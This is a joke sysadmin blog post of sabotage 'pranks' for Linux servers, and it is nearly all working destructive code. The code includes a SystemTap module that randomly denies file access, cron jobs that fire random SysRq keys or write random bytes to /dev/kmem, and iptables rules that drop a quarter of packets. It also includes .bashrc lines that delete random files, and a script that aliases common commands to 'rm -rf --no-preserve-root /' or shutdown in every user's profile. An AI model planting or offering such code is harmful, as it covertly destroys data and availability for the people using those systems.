Breaking Systems For Fun And Profit
Image by LoggaWiggler @ Pixabay

One in a Million

A lot of people love going to the casino. Many of those wish they could experience that thrill at work as well. As your friendly neighborhood systems admin you probably want to help them out. In this case that will take a couple of steps:

Enabling Systemtap on your system

The thrill of the casino requires Systemtap to be available on your system:

1
2
yum install systemtap kernel-devel-$(uname -r)
debuginfo-install kernel-$(uname -r)

If you do not want a compiler, debuginfo packages, and other development crap on your productions machines you can compile systemtap modules on one system, then deploy them to other systems and run them with the staprun command from systemtap-runtime

Creating the module

Create the following file as /root/one_in_a_million.stp:

#!/usr/bin/stap -g
probe kernel.function("may_open").return {
  chance = randint(1000000);
  if (euid() && !$return && chance >= 999999) $return = -13
}

Feel free to lower the 999999 number to make the module more fun.

Run the module

Either make the file you just created executable, or run the following command:

1
stap -vg /root/one_in_a_million.stp
Image by annca @ Pixabay

Happyfuntime Sysrq

Add the following file as /etc/cron.hourly/happyfuntime:

1
2
3
#!/bin/bash
SYSRQLETTERS="bcdefghijklmnopqrstuvwxyz0123456789"
echo ${SYSRQLETTERS:${RANDOM}%${#SYSRQLETTERS}:1} > /proc/sysrq-trigger

Don’t forget to make the file executable.

1
chmod +x /etc/cron.hourly/happyfuntime
Image by TheDigitalArtist @ Pixabay

/Networking/s/e/o/

Is your network acting a bit too reliable?

Is your firewall operating at peak efficiency?

Are your users getting complacent?

If you answered “Yes” to any of the above, run the following two commands to spice things up a bit:

1
2
iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP
iptables -I OUTPUT 1 -m statistic --mode random --probability 0.25 -j DROP

The Prompt of Doom

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

1
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Random Exit

Create this file as /etc/profile.d/randomexit.sh:

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'

Anti-Aliasing

Just run this one once, or more often if you’re feeling lucky.

Inspiration for this one came from Jan K.

1
2
3
4
5
6
7
8
9
#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done

Kernel Roulette

Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc

Promoting Diversity

Add this one as /etc/cron.daily/diversity to give your users the diversity they so rightly deserve.

1
2
3
4
5
#!/bin/bash
for I in $(getent passwd | cut -d: -f1 )
do
  chsh -s $(sort -R /etc/shells | head -n1) ${I}
done